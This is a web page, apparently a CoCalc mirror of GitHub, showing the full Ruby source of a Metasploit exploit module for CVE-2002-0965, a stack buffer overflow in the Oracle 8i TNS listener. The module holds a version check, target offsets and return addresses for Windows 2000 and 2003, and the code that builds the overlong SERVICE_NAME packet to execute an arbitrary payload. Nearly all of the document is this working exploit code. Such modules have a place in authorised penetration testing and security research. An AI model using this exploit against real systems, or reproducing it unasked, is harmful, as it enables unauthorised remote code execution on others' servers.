CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/oracle/tns_service_name.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::TNS
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Oracle. When
16
sending a specially crafted packet containing a long SERVICE_NAME
17
to the TNS service, an attacker may be able to execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2002-0965'],
24
[ 'OSVDB', '5041'],
25
[ 'BID', '4845'],
26
[ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'thread',
32
},
33
'Payload' =>
34
{
35
'Space' => 600,
36
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],
43
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2002-05-27'))
47
48
register_options([Opt::RPORT(1521)])
49
end
50
51
def check
52
connect
53
54
version = "(CONNECT_DATA=(COMMAND=VERSION))"
55
pkt = tns_packet(version)
56
sock.put(pkt)
57
58
sock.get_once
59
res = sock.get_once(-1, 1)
60
61
disconnect
62
63
if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
64
return Exploit::CheckCode::Appears
65
end
66
return Exploit::CheckCode::Safe
67
end
68
69
def exploit
70
connect
71
72
buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
73
buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
74
buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)
75
76
sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"
77
78
pkt = tns_packet(sploit)
79
80
print_status("Trying target #{target.name}...")
81
sock.put(pkt)
82
83
handler
84
85
disconnect
86
end
87
end
88
89